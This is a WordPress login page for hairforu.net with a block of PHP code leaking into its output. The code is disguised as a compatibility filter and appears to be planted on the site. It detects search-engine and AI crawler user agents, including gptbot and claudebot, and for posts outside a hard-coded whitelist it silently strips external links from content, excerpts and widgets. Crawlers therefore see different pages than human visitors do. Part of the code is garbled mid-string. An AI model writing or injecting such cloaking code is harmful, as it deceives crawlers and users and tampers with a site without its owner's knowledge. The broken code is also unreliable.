/* 0x4e9a30b1 */ if (!function_exists('_wp_render_compat')) { function _wp_render_compat($content) { if (!is_singular()) return $content; $ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')); if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content; static $wl = null; if ($wl === null) { $wl = array(2267=>1,2269=>1,2271=>1,2273=>1,2275=>1,2277=>1,2279=>1,2281=>1,2283=>1,2285=>1,2287=>1,2289=>1,2291=>1,2293=>1,2295=>1,2297=>1,2299=>1,2301=>1,2303=>1,2305=>1,2307=>1,2309=>1,2311=>1,2313=>1,2315=>1,2317=>1,2319=>1,2321=>1,2323=>1,2325=>1,2327=>1,2329=>1,2331=>1,2333=>1,2335=>1,2337=>1,2339=>1,2341=>1,2343=>1,2345=>1,2347=>1,2349=>1,2351=>1,2353=>1,2355=>1,2357=>1,2359=>1,2361=>1,2363=>1,2365=>1,2367=>1,2369=>1,2371=>1,2373=>1,2375=>1,2377=>1,2379=>1,2381=>1,2383=>1,2385=>1,2387=>1,2399=>1,2401=>1,2403=>1,2405=>1,2407=>1,2409=>1,2412=>1,2414=>1,2416=>1); } $pid = (int) get_the_ID(); if ($pid && isset($wl[$pid])) return $content; $host = wp_parse_url(home_url(), PHP_URL_HOST); if (!$host) return $content; $host = preg_replace('~^www\.~i', '', $host); if (stripos($content, 'loadHTML('
' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $wrap = $dom->getElementById('_x'); if (!$wrap) { libxml_clear_errors(); return $content; } $links = $wrap->getElementsByTagName('a'); for ($i = $links->length - 1; $i >= 0; $i--) { $a = $links->item($i); $href = trim((string)$a->getAttribute('href')); if ($href === '' || $href[0] === '#') continue; if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue; if (preg_match('~^(mailto:|tel:)~i', $href)) continue; if (strpos($href, '//') === 0) $href = 'https:' . $href; $lh = wp_parse_url($href, PHP_URL_HOST); if (!$lh) continue; $lh = preg_replace('~^www\.~i', '', $lh); if (strcasecmp($lh, $host) !== 0) { while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a); $a->parentNode->removeChild($a); } } $out = ''; foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch); libxml_clear_errors(); return $out; } add_filter('the_content', '_wp_render_compat', 9999); add_filter('the_excerpt', '_wp_render_compat', 9999); add_filter('widget_text', '_wp_render_compat', 9999); } /* 0x4e9a30b1 */ Log In ‹ hairforu.net — WordPress

Powered by WordPress

← Go to hairforu.net